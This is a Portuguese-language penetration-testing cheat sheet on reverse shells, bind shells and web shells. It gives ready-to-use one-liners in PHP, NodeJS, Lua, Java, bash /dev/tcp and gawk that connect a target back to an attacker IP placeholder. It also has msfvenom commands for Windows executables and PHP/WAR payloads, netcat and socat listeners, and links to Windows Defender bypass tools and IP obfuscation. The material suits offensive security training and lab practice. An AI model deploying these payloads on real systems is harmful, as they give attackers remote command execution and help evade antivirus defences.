Caso precise, no Kali vem alguns WebShell disponíveis em /usr/share/webshells/.
Sempre quando for executar uma shell reversa no Burp Suite e pressione CTRL+U para encodar o payload.
Reverse Shell x Bind Shell
Apesar de ambos terem o mesmo objetivo, a forma de realizar a conexão é tem uma pequena diferença, a direção de acesso. No Blind Shell, o host alvo irá abrir uma porta para o atacante se conectar, já no Reverse Shell, é o host atacante quem abre uma porta e faz com que o host alvo se conecte nela.
Melhorando o Visual da Shell
Devido a muitas vezes conseguirmos pegar uma shell que não possui um bom retorno, funcionalidades como vi não funcionam, CTRL+C encerra a sessão, não temos histórico de comandos, etc, por isso devemos deixar nossa shell mais estável.
# Dentro da shell reversapython-c'import pty; pty.spawn("/bin/bash")'CTRL+Z# Agora já no terminal do atacantesttyraw-echo# Quando digitar esse comando, não irá aparecer o que está digitando, mas continue mesmo assimfgENTER (2x)# Dentro da shell reversaresetexportSHELL=bashexportTERM=xterm-256color# No terminal do host (fora da reverse shell) maximize o terminal e veja os valores de "rows" e "columns" com o comandostty-a# Agora volte para o terminal da reverse shell e defina "rows" e "columns" com o mesmo valor retornado no comando acimasttyrows<num>columns<cols>
Mais comandos para Spawning TTY
rlwrap
Deixa o netcat mais estável
Meterpreter
Caso tenha conseguido alguma shell no host alvo e não seja o Meterpreter, utilize o comando abaixo para atualizar sua shell para o Meterpreter:
Msfvenom
Existem 2 tipos de Reverse Shell que pode ser feita com o msfvenom:
staged = Esta divide o payload em pequenos pedaços. O Meterpreter em si é uma shell em etapas, primeiro ele envia algumas partes para configurar a conexão e depois envia um pouco mais. Este não pode ser acessado pelo Netcat.
non-staged = Já este é enviado em blocos e pode ser executado tanto no Metasploit quanto no Netcat
Stage Payload
OBS.: Utilize o Meterpreter, caso achar necessário
Non-Stage Payload
PHP (Web-Shell)
Esse php-shell é independente do sistema operacional. Você pode usá-lo no Linux e no Windows.
ASP (Web-Shell)
OBS.: Altere de asp para aspx caso seja necessário
War (Web-Shell)
JSP (Web-Shell)
OS
Executando um comandos no SO
Villain
Abre uma Reverse Shell que aceita múltiplas conexões, gerando assim várias sessões que podem ser acessadas a qualquer momento. Para gerar o payload, utilize o comando abaixo e execute a saída do comando no host alvo. Quando a vítima executar o comando, será aberta a sessão no próprio Villian
Para visualizar as sessões que estão ativas, execute:
Para acessar uma determinada sessão, execute:
Curl
Este não é de fato o responsável pelo Shell Reverso, mas com ele é possível baixar e executar determinado arquivo com o comando abaixo:
Bash TCP
Bash UDP
Windows
msfvenom
Criando executável
Deixe o Netcat em modo listener com o comando abaixo e execute o executável gerado com o comando acima no Windows.
Bypass Powershell
Primeiro execute o código abaixo para deixarmos o Metasploit no modo listener
Execute o script abaixo na máquina alvo
Abaixo segue outras maneiras, que podem ser porém utilizando o netcat como listener
Linux
Binário
Bash
FreeBSD
Netcat
Bind Shell
Reverse Shell
Com Flag -e
Sem Flag -e
Nem toda versão do Netcat tem a opção -e
Salvando a saída
Útil para estudar quais comandos o atacante está utilizando.
Executando comando (não interativo)
NOTA: Acima vimos exemplos onde executamos um comando no host alvo e enviamos a saída do comando para o host atacante. Isso é útil quando executamos o netcat, criamos uma conexão porém não conseguimos executar comandos. Caso queria, adicione o parâmetro -k (keep alive) no comando nc do host atacante para manter a conexão aberta enquanto recebe a saída dos comandos.
Ncat
Bind
Socat
Abaixo possui um site para baixar o código do socat (caso a vítima não tenha instalado) e, assim que definir qual a arquitetura correta, execute como no comando abaixo:
DICA: Todos os exemplos abaixo estão utilizando o protocolo TCP, porém podemos utilizar UDP, apena susbstituindo onde está escrito TCP para UDP. Note também que os parâmetros do socat são case-insensitive.
Método 1
Método 2
Método 3
Método 4
Método 5
Método 6
Método 7
Perl
Python 2.7
Python 3
OBS.: Caso não consiga utilizar comandos dentro do eval como import os, substitua por __import__('os').system('whoami')
PHP
Metasploit
Ruby
PowerShell (Invoke-PowerShell)
Insira no final do arquivo (Pesquisar se o arquivo está em ou baixar no Git).
Encontre o arquivo Invoke-PowerShellTcp.ps1 (geralmente está em /usr/share/nishang/Shells), copie para seu diretório atual (para manter o arquivo original) e insira a seguinte linha no final do arquivo:
Em outro terminal, deixe o arquivo disponível para o alvo com o comando python -m SimpleHTTPServer
OBS.: Veja nos sites abaixo, uma lista de shell para PowerShell
Powershell (msfvenom)
Crie o Payload com o comando abaixo
Agora digite os seguintes comandos:
Execute na máquina alvo com o comando iex (vide página de Powershell)
PowerShell (Manual)
Note que em alguns momentos (aqui e em outros exemplos) estamos utilizando o parâmetro -nop do powershell, que é uma abreviação de -NoProfile. Isso instrui o Powershell a não carregar o perfil de usuário. Quando o PowerShell é iniciado, por padrão, ele carrega os scripts de perfil de qualquer usuário existente, o que pode afetar negativamente a execução do nosso código. Essa opção evitará esse possível problema.
Microsoft SQL Server (MSSQL)
WinRM (Autenticado)
Base64 Encoding
Primeiro vamos encodar nosso payload. Como exemplo vamos pegar o reverse shell em bash, mas pode ser qualquer outro
Agora pegue o resultado do comando acima para montar o comando o abaixo
VILLAIN
Abre uma Reverse Shell que aceita múltiplas conexões, gerando assim várias sessões que podem ser acessadas a qualquer momento. Para gerar o payload, utilize o comando abaixo e execute a saída do comando no host alvo. Quando a vítima executar o comando, será aberta a sessão no próprio Villian
Para visualizar as sessões que estão ativas, execute:
Para acessar uma determinada sessão, execute:
NodeJS
LUA
Xterm
PHP
Crie o Payload com o comando
Será mostrado na tela o código, onde deverá ser enviado para o alvo web.
# Estes continuam com problemas de `CTRL`+`C` e histórico de comandos
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/sh")'
echo os.system('/bin/bash')
/bin/sh -i
/bin/bash -i
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
# Dentro do IRB
exec "/bin/sh"
# Dentro do vi
:!bash
# Dentro do vi
:set shell=/bin/bash:shell
# Dentro do nmap
!sh
rlwrap nc -nlvp <port>
sessions -u <session_id>
msfvenom -p windows/shell/reverse_tcp LHOST=<ip> LPORT=<port> -f exe -o <file.exe>
msfconsole
use exploit/multi/handler
set payload windows/shell/reverse_tcp
msfconsole -x "set LHOST <IP>; set LPORT <PORT>; use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set EnableStageEncoding true; set StageEncoder x86/xor_dynamic; run"
# Host alvo. Se não funcionar, tente com 4, 5 ou 6
php -r '$sock=fsockopen("<ip_atacante>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'
# Host atacante
msfconsole -q
use exploit/multi/handler
set payload php/reverse_php
set LHOST <ip_atacante>
exploit
# Execução na máquina alvo
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "<ip_atacante>", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
# Execução na máquina atacante
nc -lvp 8080
# Somente em Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('<ip_atacante>','<port>');os.execute('/bin/sh -i <&3 >&3 2>&3');"
# O seguinte comando deve ser executado no alvo. Ele tentará se conectar de volta a você na porta TCP 6001
xterm -display <ip_atacante>:1
# Inicie um X-Server (: 1 - que escuta na porta TCP 6001), usando o Xnest no IP do atacante
Xnest :1
# Agora autorize o destino a se conectar a você (IP do atacante)
xhost +targetip
sudo msfvenom -p php/meterpreter/reverse_tcp LHOST=<ip_atacante> LPORT=<port> -f raw
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <ip_atacante>
set LHOST <port>
exploit -j -Z
# Use netcat para pegar a shell
sudo msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip> LPORT=<port> -f war > <file.war>
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<ip>/<port>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
# Ou
Runtime run = Runtime.getRuntime();
String[] commands = new String[] { "/usr/bin/nc", "-l","-p", "<port>", "-e", "/bin/sh" };
run.exec(<command>);
#!/usr/bin/gawk -f
BEGIN {
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
# Diversas Shells
https://highon.coffee/blog/reverse-shell-cheat-sheet/
# Bypass para Reverse Shell em Windows
https://github.com/tihanyin/PSSW100AVB
# Reverse Shell com Bypass do Windows Defender
https://github.com/t3l3machus/hoaxshell
# Villain
https://github.com/t3l3machus/Villain.git
# Webshell PHP
https://github.com/Arrexel/phpbash
# Scripts para deixar a shell Python interativa
https://github.com/infodox/python-pty-shells.git
# Código para executar o socat (caso não tenha instalado)
https://github.com/andrew-d/static-binaries
# Modos de deixar o shell com melhor interatividade e estabilidade
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
# Mascarando o IP em octal. Útil para shell reversa ou transferir arquivos.
https://www.browserling.com/tools/ip-to-oct
# PowerShell
https://github.com/samratashok/nishang.git
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md